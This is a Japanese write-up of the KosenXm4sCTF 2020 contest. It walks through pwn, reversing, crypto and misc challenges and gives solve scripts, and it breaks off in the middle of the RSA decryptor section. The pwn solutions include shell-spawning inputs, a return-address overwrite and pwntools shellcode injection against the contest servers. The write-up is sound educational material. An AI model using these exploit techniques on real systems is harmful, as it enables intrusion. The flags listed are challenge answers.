KosenXm4sCTF writeup
2020-12-24 9:00 ~ 2020-12-25 21:00に開催されたKosenXm4sCTFのWriteupです。
100人中5位でした。
解けた問題は以下の通りです。
- [pwn] beginners_shell
- [pwn] match
- [pwn] dead_or_alive
- [pwn] write_where_what
- [pwn] super_type
- [misc] let us walk zip
- [misc] magic_mirror
- [rev] binary_strings
- [rev] countdown
- [rev] dummy
- [rev] first_asm
- [rev] RGB
- [rev] original_file_system1
- [crypto] do_you_know_RSA?
- [crypto] advanced_caesar
- [crypto] bad_hash
- [crypto] do_you_like_CBC?
- [crypto] decryptor
- [web] bad_path
[pwn] beginners_shell
pwnの一番簡単な問題です。
自分が入力したC言語のプログラムをそのままコンパイルして実行してくれるので、
int main() { system("/bin/sh"); }
を入力してシェルを取るだけです。
あとはcat flag.txt
でフラグを表示して終わりです。
$ nc 27.133.155.191 30002 Enter your program! int main() { system("/bin/sh"); } rm: cannot remove '/tmp/program': No such file or directory /tmp/program.c: In function 'main': /tmp/program.c:1:14: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration] 1 | int main() { system("/bin/sh"); } | ^~~~~~ cat flag.txt xm4s{Yes!!To_get_SHELL_is_goal}
[pwn] match
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); FILE *fp = fopen("./flag.txt", "r"); if(fp == NULL) { puts("flag.txt not found!"); exit(0); } char flag[0x100]; fgets(flag, 0x100, fp); char input[0x100]; fgets(input, 0x100, stdin); int len = strlen(input) - 1; if(strncmp(flag, input, len) == 0) { puts("Correct!!!"); } else { puts("Incorrect..."); } }
自分が入力した文字列とフラグを比較して、一致していたらCorrect!!!
と表示するだけのプログラムです。
文字列の比較にはstrncmp
が使われており、自分の入力した文字数分だけしかフラグと比較されません。例えば、x
とだけ入力するとフラグの先頭一文字とx
が、xm4s
と入力するとフラグの先頭4文字とxm4s
が比較されます。つまり、総当たりで解くことができます。
さすがに手動で一つ一つ調べていては日が暮れるのでPythonでスクリプトを書きました。
from pwn import * import string flag = "xm4s{" while True: for c in string.printable: p = remote("27.133.155.191", 30009) p.sendline(flag + c) if b"Correct" in p.readline(): flag += c break if c == "}": break print(flag)
$ python solve.py [+] Opening connection to 27.133.155.191 on port 30009: Done [+] Opening connection to 27.133.155.191 on port 30009: Done ... xm4s{you got flag finaly hahaha}
[pwn] dead_or_alive
main.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> char* get_secret_password() { char password[0x1000]; // I can get very very long password!! FILE *fp = fopen("./password.txt", "r"); if(fp == NULL) { puts("password.txt not found."); exit(0); } fgets(password, 0x1000, fp); char* ret = password; return ret; } void login(char *password) { char input[512]; printf("Input your password:"); fgets(input, 512, stdin); if(strcmp(input, password) == 0) { puts("You logged in!"); system("/bin/sh"); } } void hello() { char name[0x1000]; puts("Tell me your name!"); fgets(name, 0x1000, stdin); printf("Hello %s\n", name); } int menu() { int ret; printf( "0: Hello\n" "1: Login\n" ); scanf("%d%*c", &ret); return ret; } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); char* pass = get_secret_password(); while(1) { int option = menu(); if(option == 0) { hello(); } else if(option == 1) { login(pass); } } }
パスワードを入力して正しいパスワードと一致していたらシェルが起動するプログラムです。
get_secret_password
を見ると、passwordという配列にパスワードを読み込み、そのポインタを返しています。
下図は、get_secret_password
を実行した時のスタックの様子です。(アドレスは自分の環境のgdbで見た時の値です)
+-------------+ 0x7fffffffd780 | fp | +-------------+ 0x7fffffffd788 | ret | +-------------+ 0x7fffffffd798 | password | +-------------+ | ... | +-------------+ 0x7fffffffe7a0 | saved rbp | +-------------+ 0x7fffffffe7a8 | ret addr | +-------------+ | ... |
戻り値としてpasswordのアドレスである0x7fffffffd790
が返ります。
hello
関数では、passwordと同じ大きさのnameという配列に好きな文字列を入力できるようになっています。下図は、hello
関数を呼び出した時のスタックの様子です。nameのアドレスがpasswordのアドレスと一致しています。
+-------------+ 0x7fffffffd790 | name | +-------------+ | ... | +-------------+ 0x7fffffffe7a0 | saved rbp | +-------------+ 0x7fffffffe7a8 | ret addr | +-------------+ | ... |
passはnameと同じアドレスを指しているので、hello
を呼び出して文字列を入力するとパスワードをその文字列に書き換えられることがわかります。
あとは、hello
で適当に文字列を入力して、ログインするときにその文字列を入力するとシェルが取れます。
$ nc 27.133.155.191 30005 0: Hello 1: Login 0 Tell me your name! a Hello a 0: Hello 1: Login 1 Input your password:a You logged in! cat flag.txt xm4s{welc0me_t0_undergr0und}
[pwn] write_where_what
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> void call_me_to_win() { system("/bin/sh"); } int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); printf("call_me_to_win at %p\n", call_me_to_win); unsigned long value = 1; // I like unsigned long value! printf("%lx\n", &value); size_t where, what; printf("where:"); scanf("%lx", &where); printf("what:"); scanf("%lx", &what); *(size_t*)where = what; // where に what を書き込む }
1回だけ好きなアドレスに好きな値が書き込めるプログラムです。
スタック上にある変数value
のアドレスが得られるので、そこからリターンアドレスを計算することができます。
リターンアドレスをcall_me_to_win
のアドレスに書き換えるとシェルが取れます。
$ python solve.py python solve.py [+] Starting local process './write_where_what': pid 24804 [+] Opening connection to 27.133.155.191 on port 30003: Done [*] win addr = 0x401e15 [*] ret addr = 0x7ffebcbb4f48 [*] Switching to interactive mode where:what:$ cat flag.txt xm4s{i_can_rewrite_memory...}
[pwn] super_type
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<sys/mman.h> typedef union { char* char_ptr; int* int_ptr; long* long_ptr; void (*func_ptr)(); } SuperType; int menu() { printf( "0: As char*, allocate\n" "1: As char*, printf\n" "2: As char*, input\n" "3: As int*, printf\n" "4: As long*, printf\n" "5: As func_ptr, execute\n" ); printf("What do you do? :"); int ret; scanf("%d%*c", &ret); return ret; } int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); SuperType st; while(1) { int opt = menu(); switch(opt) { case 0: { st.char_ptr = mmap(NULL, 0x1000, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_SHARED | MAP_ANONYMOUS, -1, 0); break; } case 1: { puts(st.char_ptr); break; } case 2: { fgets(st.char_ptr, 0x100, stdin); break; } case 3: { for(int i = 0;i < 0x100 / sizeof(int);i++) { printf("%d: %d\n", i, st.int_ptr[i]); } break; } case 4: { for(int i = 0;i < 0x100 / sizeof(long);i++) { printf("%d: %ld\n", i, st.long_ptr[i]); } break; } case 5: { st.func_ptr(); } } } }
mmapの第一引数を見るとPROT_EXECが指定されているため、このmmapで確保された領域は実行可能になります。
また、その確保した領域には好きな値を書き込むことができ、関数ポインタとして実行することもできるので、以下のようにして解くことができます。
- 「0: As char*, allocate」で実行可能なメモリを確保する
- 「2: As char*, input」で確保したメモリにシェルコードを書き込む
- 「5: As func_ptr, execute」で関数ポインタとして実行する
from pwn import * context.binary = "./super_type" shellcode = asm(shellcraft.sh()) p = remote('27.133.155.191', 30008) p.sendlineafter('What do you do? :', '0') p.sendlineafter('What do you do? :', '2') p.sendline(shellcode) p.sendline('5') p.interactive()
$ python solve.py [*] '/home/vagrant/xm4s/super_type/super_type' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 27.133.155.191 on port 30008: Done [*] Switching to interactive mode 0: As char*, allocate 1: As char*, printf 2: As char*, input 3: As int*, printf 4: As long*, printf 5: As func_ptr, execute What do you do? :$ cat flag.txt xm4s{do_you_know_shellcode_database?or_pwntools's_shellcraft}
[misc] let us walk zip
main.zipというzipファイルが与えられます。
このzipファイルは普通に解凍しようとしてもうまく解凍できません。
そこで、binwalkというツールを使ってファイルを抽出してみます。
$ binwalk -e main.zip DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 gzip compressed data, has original file name: "head.png", from Unix, last modified: 2020-12-19 23:58:53 1613 0x64D xz compressed data
head.png
と64D
という2つのpngファイルを抽出することができました。
$ cd _main.zip.extracted $ ls 64D 64D.xz head.png $ file 64D 64D: PNG image data, 500 x 100, 8-bit grayscale, non-interlaced
それぞれの画像ファイルに半分ずつフラグが書かれているので、あとはそれを組み合わせるだけです。
xm4s{binwalk_is_good_tool}
[misc] magic_mirror
stegoVeritasというツールを利用しました。
stegoVeritasはステガノグラフィを解析してくれるツールです。実行するとresultsというディレクトリが作成されその中に解析結果が入ります。
resultsの中のchristmas.png_Alpha_0.png
を見るとフラグが書かれていました。
xm4s{4lph4_l4y3r_m4k3s_1m493_tr4nsp4r3nt}
[rev] binary_strings
stringsコマンドを使うだけでフラグが見つかります。
$ strings binary_strings | grep xm4s xm4s{strings_binary_is_simple_and_powerful!}
[rev] countdown
generate_flag
という関数でフラグを生成し、入力と一致しているなら「Congratulations!」と表示するプログラムです。
gdbを使ってgenerate_flag
が呼び出された後にメモリダンプすればフラグが得られます。
しかし、ブレークポイントを設定して実行するだけだとgenerate_flag
を呼び出す直前にあるwait
という関数が呼び出されてしまい、操作できなくなってしまいます。
そのため、wait
を呼び出す直前にブレークポイントを設定してjumpを実行しwait
を飛ばすようにします。
$ gdb pwndbg> b *0x401a77 Breakpoint 1 at 0x401a77 pwndbg> b *0x401ac4 Breakpoint 2 at 0x401ac4 pwndbg> r Starting program: /home/vagrant/xm4s/countdown/countdown New year countdown! Breakpoint 1, 0x0000000000401a77 in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────[REGISTERS]─────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x7ffff7af4264 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x7ffff7dd18c0 (_IO_stdfile_1_lock) ◂— 0x0 RDI 0x1 RSI 0x405260 ◂— 'New year countdown!\n' ... ──────────────────────────────────────────────────────────────────────────── pwndbg> jump *0x401a7c Continuing at 0x401a7c. Happy new year! We check your flag! FLAG: a Breakpoint 2, 0x0000000000401ac4 in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────[REGISTERS]─────────────────────────────────── *RAX 0x7fffffffe7b0 —▸ 0x7ffff7de0061 (do_lookup_x+3537) ◂— push rsi RBX 0x0 *RCX 0x7ffff7dd0560 (_nl_global_locale) —▸ 0x7ffff7dcc580 (_nl_C_LC_CTYPE) —▸ 0x7ffff7b99bce (_nl_C_name) ◂— add ... *RDX 0x7ffff7dd18d0 (_IO_stdfile_0_lock) ◂— 0x0 *RDI 0x404080 (flag) ◂— 'xm4s{kotoshimo_mou_nennmatsu_desune}' *RSI 0x7fffffffe7b0 —▸ 0x7ffff7de0061 (do_lookup_x+3537) ◂— push rsi ... ──────────────────────────────────────────────────────────────────────────── pwndbg> x/s 0x404080 0x404080 <flag>: "xm4s{kotoshimo_mou_nennmatsu_desune}" pwndbg>
[rev] dummy
dummyという実行ファイルが与えられます。
逆アセンブルしてmain関数を見ると以下のようになっています。
0000000000001169 <main>: 1169: 55 push rbp 116a: 48 89 e5 mov rbp,rsp 116d: 48 83 ec 40 sub rsp,0x40 1171: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 1178: 00 00 117a: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 117e: 31 c0 xor eax,eax 1180: 05 d2 89 80 8a add eax,0x8a8089d2 1185: 81 fa 15 5a dd 83 cmp edx,0x83dd5a15 118b: 81 fa 1d d7 da 7f cmp edx,0x7fdad71d 1191: 81 e9 31 e7 73 84 sub ecx,0x8473e731 ... 7e1f5: 83 7d cc 00 cmp DWORD PTR [rbp-0x34],0x0 7e1f9: 74 0e je 7e209 <main+0x7d0a0> 7e1fb: 48 8d 3d 11 0e 00 00 lea rdi,[rip+0xe11] # 7f013 <_IO_stdin_used+0x13> 7e202: e8 29 2e f8 ff call 1030 <puts@plt> 7e207: eb 0c jmp 7e215 <main+0x7d0ac> 7e209: 48 8d 3d 10 0e 00 00 lea rdi,[rip+0xe10] # 7f020 <_IO_stdin_used+0x20> 7e210: e8 1b 2e f8 ff call 1030 <puts@plt> 7e215: b8 00 00 00 00 mov eax,0x0 7e21a: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8] 7e21e: 64 48 2b 14 25 28 00 sub rdx,QWORD PTR fs:0x28 7e225: 00 00 7e227: 74 05 je 7e22e <main+0x7d0c5> 7e229: e8 12 2e f8 ff call 1040 <__stack_chk_fail@plt> 7e22e: c9 leave 7e22f: c3 ret
逆アセンブル結果の後半部分を見てみるとcmp DWORD PTR [rbp-0x34],0x0
という命令があります。ここで[rbp - 0x34]が0と一致していれば"Correct!"と表示されるようになっています。なので、[rbp - 0x34]が1にならないようにしてやればフラグになると考えました。
$ objdump -M Intel -d dummy | grep -B 4 "\[rbp-0x34\],0x1" 2495a: 48 8d 45 d0 lea rax,[rbp-0x30] 2495e: 8b 00 mov eax,DWORD PTR [rax] 24960: 3d 78 6d 34 73 cmp eax,0x73346d78 24965: 74 07 je 2496e <main+0x23805> 24967: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 2f8a6: 48 83 c0 04 add rax,0x4 2f8aa: 8b 00 mov eax,DWORD PTR [rax] 2f8ac: 3d 7b 6d 61 64 cmp eax,0x64616d7b 2f8b1: 74 07 je 2f8ba <main+0x2e751> 2f8b3: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 3a6d6: 48 83 c0 08 add rax,0x8 3a6da: 8b 00 mov eax,DWORD PTR [rax] 3a6dc: 3d 5f 64 75 6d cmp eax,0x6d75645f 3a6e1: 74 07 je 3a6ea <main+0x39581> 3a6e3: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 45e54: 48 83 c0 0c add rax,0xc 45e58: 8b 00 mov eax,DWORD PTR [rax] 45e5a: 3d 6d 79 5f 62 cmp eax,0x625f796d 45e5f: 74 07 je 45e68 <main+0x44cff> 45e61: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 51940: 48 83 c0 10 add rax,0x10 51944: 8b 00 mov eax,DWORD PTR [rax] 51946: 3d 6c 6f 63 6b cmp eax,0x6b636f6c 5194b: 74 07 je 51954 <main+0x507eb> 5194d: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 5cdbe: 48 83 c0 14 add rax,0x14 5cdc2: 8b 00 mov eax,DWORD PTR [rax] 5cdc4: 3d 73 5f 74 68 cmp eax,0x68745f73 5cdc9: 74 07 je 5cdd2 <main+0x5bc69> 5cdcb: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 67cc4: 48 83 c0 18 add rax,0x18 67cc8: 8b 00 mov eax,DWORD PTR [rax] 67cca: 3d 65 5f 77 61 cmp eax,0x61775f65 67ccf: 74 07 je 67cd8 <main+0x66b6f> 67cd1: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1 -- 73420: 48 83 c0 1c add rax,0x1c 73424: 8b 00 mov eax,DWORD PTR [rax] 73426: 3d 79 21 7d 00 cmp eax,0x7d2179 7342b: 74 07 je 73434 <main+0x722cb> 7342d: c7 45 cc 01 00 00 00 mov DWORD PTR [rbp-0x34],0x1
mov DWORD PTR [rbp-0x34],0x1
の前に何やら0x64616d7bや0x64616d7bといった値とeaxの比較処理を行なっています。その値をすべて抜き出してASCIIに変換してやると以下のようになります。
0x73346d78 -> s4mx 0x64616d7b -> dam{ 0x6d75645f -> mud_ 0x625f796d -> b_ym 0x6b636f6c -> kcol 0x68745f73 -> ht_s 0x61775f65 -> aw_e 0x7d2179 -> }!y
フラグらしき文字列が出てきました。バイトオーダーはリトルエンディアンであるため、逆順に格納されています。よって、逆順に並び替えてくっつけるとフラグは
xm4s{mad_dummy_blocks_the_way!}
になります。
import struct flags = [ 0x73346d78, 0x64616d7b, 0x6d75645f, 0x625f796d, 0x6b636f6c, 0x68745f73, 0x61775f65, 0x7d2179, ] flag = b"" for f in flags: flag += struct.pack('<I', f) print(flag)
$ python solve.py b'xm4s{mad_dummy_blocks_the_way!}\x00'
[rev] first_asm
first_asmという入力がフラグと一致しているか確認するプログラムが与えられ、そのソースコードであるfirst_asm.c、check_flag.sも与えられました。
first_asm.c
/* gcc -O0 -o binary binary.c check_flag.s */ #include <stdio.h> #include <stdbool.h> extern bool check_flag(char* input); int main(void) { char input[33]; printf("+------------+\n"); printf("|FLAG CHECKER|\n"); printf("+------------+\n"); printf("Input: "); scanf("%32s%*c", input); if (check_flag(input)) { printf("Correct!\n"); } else { printf("Wrong...\n"); } }
check_flag.s
.intel_syntax noprefix .globl check_flag, key, answer /* コメント部分は省略 */ # Let's reversing! key: .string ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t" answer: .string "CAn_U_Re4d_A55emBly?L3t's_tRY_it" // [rbp - 0x8] = user_input check_flag: # 関数の開始処理 (おまじない) push rbp mov rbp, rsp mov QWORD PTR [rbp - 0x8], rdi mov QWORD PTR [rbp - 0x10], 0 .for_start: mov rax, QWORD PTR [rbp - 0x8] mov rbx, QWORD PTR [rbp - 0x10] mov cl, BYTE PTR [rax + rbx] lea rax, key mov rbx, QWORD PTR [rbp - 0x10] mov dl, BYTE PTR [rax + rbx] xor cl, dl lea rax, answer mov rbx, QWORD PTR [rbp - 0x10] mov dl, BYTE PTR [rax + rbx] // xorとったやつがanswerと一致していなければ間違い cmp cl, dl jne .if_false .if_true: jmp .if_end .if_false: mov eax, 0 jmp .function_end .if_end: .for_end: add QWORD PTR [rbp - 0x10], 1 cmp QWORD PTR [rbp - 0x10], 32 jle .for_start mov eax, 1 .function_end: # 関数の終了処理 (おまじない) leave ret
check_flagをC言語で書き直すと以下のようになります
char key[] = ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"; char answer[] = "CAn_U_Re4d_A55emBly?L3t's_tRY_it"; int check_flag(char *input) { for (int i = 0; i < 32; i++) { char cl = input[i]; char dl = key[i]; if (cl ^ dl != answer[i]) { return 0; } } return 1; }
よって、keyとanswerでxorを取ればフラグを手に入れることができます。
# solve.py key = b";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t" answer = b"CAn_U_Re4d_A55emBly?L3t's_tRY_it" flag = "" for k, a in zip(key, answer): for c in range(0x0, 255): if c ^ k == a: flag += chr(c) print(flag)
$ python solve.py xm4s{we1c0me_t0_a55emb1y_w0r1d!}
[rev] RGB
NITKC.pngという画像ファイルとcreate_secret_image.pyというファイルが与えられます。
# create_secret_image.py import numpy as np from PIL import Image image_array = np.asarray(Image.open("./NITKC.png")).copy() with open('./flag.txt') as f: flag = f.read().encode() written = 0; for x in range(len(image_array)): for y in range(len(image_array[0])): if len(flag) > written: c = flag[written] print(c) red = c & 0b11 green = (c & 0b1100) >> 2 blue = (c &0b1110000) >> 4 image_array[x][y][0] &= ~0b11 image_array[x][y][0] |= red image_array[x][y][1] &= ~0b11 image_array[x][y][1] |= green image_array[x][y][2] &= ~0b111 image_array[x][y][2] |= blue print(image_array[x][y]) written += 1 Image.fromarray(image_array).save('output.png')
画像のRGBの下位2,3bitにフラグが隠されているので、それを復元してやるだけです。
# solve.py from PIL import Image img = Image.open('./output.png') w, h = img.size flag = "" for y in range(h): for x in range(w): # (x, y)にあるピクセルのRGBを取得 r, g, b = img.getpixel((x, y)) # bの下位3bit, r・gの下位2bitを取り出して結合 c = ((b & 0b111) << 4) | ((g & 0b11) << 2) | (r & 0b11) flag += chr(c) if chr(c) == "}": print(flag) exit(0)
$ python solve.py xm4s{we1c0me_t0_a55emb1y_w0r1d!}
[rev] original_file_system1
自作ファイルシステムの仕様書とイメージファイルが与えられます。
仕様書に合わせて解析をおこなうスクリプトを書くだけです。
from __future__ import annotations from dataclasses import dataclass from typing import Union import io import struct DATA_OFFSET = 0xf def xor_bytes(block, key): return bytes([e ^ k for e, k in zip(block, key)]) def decrypt_cbc(encrypted, key): iv = b"abcde" block_size = len(key) rslt = b"" for i in range(0, len(encrypted), block_size): block = encrypted[i:i+block_size] dec_block = xor_bytes(block, key) dec_block = xor_bytes(dec_block, iv) iv = block rslt += dec_block return rslt def decrypt_ecb(encrypted, key): rslt = [] for idx, e in enumerate(encrypted): rslt.append(key[idx % len(key)] ^ e) return bytes(rslt) def u32(x): return struct.unpack(">I", x)[0] @dataclass class Directory: name: str children: list[Union[Directory, File]] @dataclass class File: name: str size: int content: bytes class FS: def __init__(self, file_name, key=None): self.file_name = file_name self.key = key self.stream = io.BytesIO(open(file_name, "rb").read()) if not self.is_valid_file(): raise Exception("Invalied file") self.parse() def is_valid_file(self): self.stream.seek(0) if self.stream.read(4) != b'\xde\xad\xbe\xaf': return False return True def parse(self): self.stream.seek(4) start_pos = self.stream.read(4) self.stream.seek(u32(start_pos)) self.directory = self.parse_directory() def parse_directory(self): flag = self.stream.read(1) dir_name = self.stream.read(16).decode().replace("\x00", "") child_dir_num = u32(self.stream.read(4)) child_file_num = u32(self.stream.read(4)) directory = Directory(name=dir_name, children=[]) # parse directory for pos in [u32(self.stream.read(4)) for _ in range(child_dir_num)]: self.stream.seek(pos) directory.children.append(self.parse_directory()) # parse files for pos in [u32(self.stream.read(4)) for _ in range(child_file_num)]: self.stream.seek(pos) directory.children.append(self.parse_file()) return directory def parse_file(self): flag = struct.unpack("B", self.stream.read(1))[0] file_name = self.stream.read(32) file_size = u32(self.stream.read(4)) """ cbcで復号したときにうまく複合できなかったので ダイレクトにecbで復号 """ file_name = decrypt_ecb(file_name, self.key) # ファイルサイズが0だったのでファイル内容はb'' return File(file_name.decode(), file_size, b"") fs = FS("./prob1.img", key=b"xm4s!") print(fs.directory)
頑張ればこんなスクリプトを組まなくても手動で解けると思います。
$ python solve.py Directory(name='mydir', children=[File(name='xm4s{you_find_a_file_name!}4s!xm', size=0, content=b'')])
[crypto] do_you_know_RSA?
param.txtというRSA暗号のパラメータが書かれたファイルが与えられます。
N = 872466878637044085809546928077402525188932163354013071311247 p = 1202641222143185422372899516011 E = 65537 crypted message is 736752258923832368359268459529023058483734448152703465168101
pの値がわかっているのでqの値を求めることができ、すぐに解けます。
from cryptolib.pubkey import RSA from cryptolib.util.binary import long2bytes N = 872466878637044085809546928077402525188932163354013071311247 p = 1202641222143185422372899516011 E = 65537 c = 736752258923832368359268459529023058483734448152703465168101 q = N // p cipehr = RSA.construct(N, E, p=p, q=q) print(long2bytes(cipehr.decrypt(c)))
$ python solve.py b'xm4s{dont_leak_p_and_q!!}'
[crypto] advanced_caesar
「advanced_caesar」という問題名からシーザー暗号のように文字をシフトする暗号だと推測しました。
暗号分とフラグフォーマットであるxm4s{...}
を比較すると、
フラグフォーマット | 暗号分 | |
---|---|---|
1文字目 | x | x |
2文字目 | m | n(mの1文字前) |
3文字目 | 4 | 4 |
4文字目 | s | u(sの2文字前) |
となっていることがわかります。これから、n番目のアルファベットをn-1だけアルファベット順にシフトする暗号だと推測できます。
encrypted = "xn4u{fejyhzwyjazwzqkszurwhyqaop}" ctr = 0 flag = "" for c in encrypted: if c.isalpha(): hoge = ord(c) - ctr if hoge < ord('a'): hoge += 26 flag += chr(hoge) ctr += 1 else: flag += c print(flag)
$ python solve.py xm4s{caesarnoyomikatagawakarann}
[crypto] bad_hash
#!/bin/python3 def hash(base): xor_sum = 0 mod_sum = 0 for c in base.encode(): xor_sum ^= c mod_sum += c mod_sum %= 100 return (xor_sum, mod_sum) with open("./password.txt") as f: answer = f.read() ans_x, ans_m = hash(answer) print(f'ans_x {ans_x}, ans_m {ans_m}') user_input = input() if 10 <= len(user_input): print("too long...") inp_x, inp_m = hash(user_input) print(f'inp_x {inp_x}, inp_m {inp_m}') if ans_x == inp_x and ans_m == inp_m: print("You hava a password!!") with open('./flag.txt') as f: print(f.read())
サーバーに接続するとフラグをハッシュ化したものを手に入れることができます。
また、自分の入力をハッシュ化したものがフラグをハッシュ化したものと一致していればフラグが手に入ります。
組み合わせの数が少なそうなので適当に総当たりすればハッシュ値が一致する文字列が得られます。
def hash(base): xor_sum = 0 mod_sum = 0 for c in base.encode(): xor_sum ^= c mod_sum += c mod_sum %= 100 return (xor_sum, mod_sum) ans_x, ans_m = 88, 36 for i in range(0x30, 0x7f): for j in range(0x30, 0x7f): for k in range(0x30, 0x7f): inp = chr(i) + chr(j) + chr(k) inp_x, inp_m = hash(inp) if ans_x == inp_x and ans_m == inp_m: print(inp) exit(0)
$ python solve.py HJZ $ nc 27.133.155.191 30010 ans_x 88, ans_m 36 HJZ inp_x 88, inp_m 36 You hava a password!! xm4s{xor_and_modsum!double_hash!!}
[crypto] do_you_like_CBC?
enc.py
import math import base64 # flag = "xm4s{this_is_dummy_flag}" with open("./flag.txt", "r") as f: flag = f.read() key = "paswd" blocksize = len(key) initial_vector = "abcde" # 足りない分は'#'で埋める if len(flag)%blocksize != 0: flag+= '#' * (blocksize - len(flag)%blocksize) print(f"flag lenght: {len(flag)}") print(f"block size: {blocksize}") encrypted_flag = "" last_enc = initial_vector for i in range(0,len(flag),blocksize): asciicode = [ord(j) for j in flag[i:i+blocksize]] chain = [asciicode[j] ^ ord(last_enc[j]) for j in range(blocksize)] enc = [chain[j] ^ ord(key[j]) for j in range(blocksize)] enc = ''.join([chr(j) for j in enc]) encrypted_flag += enc last_enc = enc # 不可視文字だと扱いにくいのでbase64する encrypted_flag = base64.b64encode(encrypted_flag.encode()) print("encrypted(your flag):",encrypted_flag)
encrypted_flag.txt
flag lenght: 30 block size: 5 encrypted(your flag): b'aW4kYHpQUDt+dUVuC0tSamoWX0RjexFBT307HzwI'
ブロック暗号はブロック長しか暗号化できないため、長い平文を暗号化する際には暗号利用モードが用いられます。CBCモードはその内の一つです。
CBCモードは以下のように暗号化を行います。
- 平文と直前のブロック(最初のブロックの場合iv)でxorを取る
- ブロックを暗号化する
- 次のブロックに移る
復号は以下の手順で行います。暗号化と逆の操作を行なっているだけです。
- 暗号ブロックを復号する
- 直前の暗号ブロック(最初のブロックの場合iv)と復号したブロックでxorを取る
- 次のブロックに移る
この復号の処理を実装するとフラグが得られます。
from cryptolib.encoding.basex import b64dec encrypted = b64dec(b'aW4kYHpQUDt+dUVuC0tSamoWX0RjexFBT307HzwI') key = b"paswd" iv = b"abcde" block_size = 5 flag = b"" def xor_bytes(block, key): return bytes([e ^ k for e, k in zip(block, key)]) for i in range(0, len(encrypted), block_size): block = encrypted[i:i+5] dec_block = xor_bytes(block, key) dec_block = xor_bytes(dec_block, iv) iv = block flag += dec_block print(flag)
$ python b'xm4s{I_like_CBC_encryption!}\n#'
[crypto] decryptor
サーバーにアクセスするとRSAのN, eと暗号化されたフラグを手に入れることができます。また、Base64でエンコードした値を渡すと復号してくれますが、暗号化されたフラグを渡すと「I don't decrypt FLAG!」と表示されてしまいます。
暗号化されたフラグを直接渡さずに復号する方法を考えます。
ここで、暗号文を、を2で割った値を、2を暗号化した値をとすると
\begin{eqnarray} c_1^{d}c_2^{d} &\equiv& (c\cdot 2^{-1})^{d} \cdot 2^{d}\ mod\ N \\ &\equiv& c^{d} \cdot 2^{-d} \cdot 2^{d}\ mod\ N \\ &\equiv& c^{d}\ mod\ N \\ &\equiv& m \end{eqnarray}
となり、とを掛け合わせることで平文を復元できることが確認できます。(本当に正しいかどうか自信がない)
とはとを復号した値であるため、を2で割った値と2をそれぞれ復号し、掛け合わせることでフラグを求めることができます。
from cryptolib.encoding.basex import b64enc, b64dec from cryptolib.util.binary import long2bytes, bytes2long def b64_to_long(x): return bytes2long(b64dec(x)) (N, e) = (16246167764371344915850793583389536962968913824418706449931777922481360781934533999636723666635474847265288282604208129589826362968698823561170472836792906203076924708439440712912438288410513785325014151210462389410166050679013631824206419570631721337891925350763316691205332373696964997224609457855137573099311031960140584413399950057461780943493400231922881322988265596579663691502861722965274432865795827273017155248753799772725441212120222046373443408417780757011753760618343802321185617879354980022057557237324617509042404917662695897170347853704749653688071729433703125789217567401115690284416599101644428222389, 65537) encrypted = b64_to_long("Tz0LbFZKgRSQl3Qg48B22cHLs4jVkHK7a56hCQ+eC3Ko8oG4tFVRpzH07z9/4BPENUpzExpNlP//Exw6QMjK5k1VqCfXjPegIWoq53edPFKkCBgqUSh6fVePIcJ4+Mi94/zCzfX8n+8lSSeCotIskeqjH/2PCwurNFNP1VH7Y25QBWGKvwX0SpJB+fq8WLIdySddx9lsUsIOYZjEO7gB0QVjvpLVn34v6for1CCKJpC8+xcGhmEOboFd2ZdNDBEjSSOsjpJMhLS2nCj9dj9GOObDcZID4tX76seeRM1wpPrKxn714h4Kow82OQvNnwjuMINvduG4AGx3mY5veN80HQ==") # 余りの世界では、2で割る=2^-1をかける # 2^-1 = pow(2, -1, N) # encryptedを2で割ったものは以下のようにして求められる # encrypted_div_by_2 = (pow(2, -1, N) * encrypted) % N # encrypted_div_by_2(encryptedを2で割ったもの)を復号した値 dec_div_by_2 = 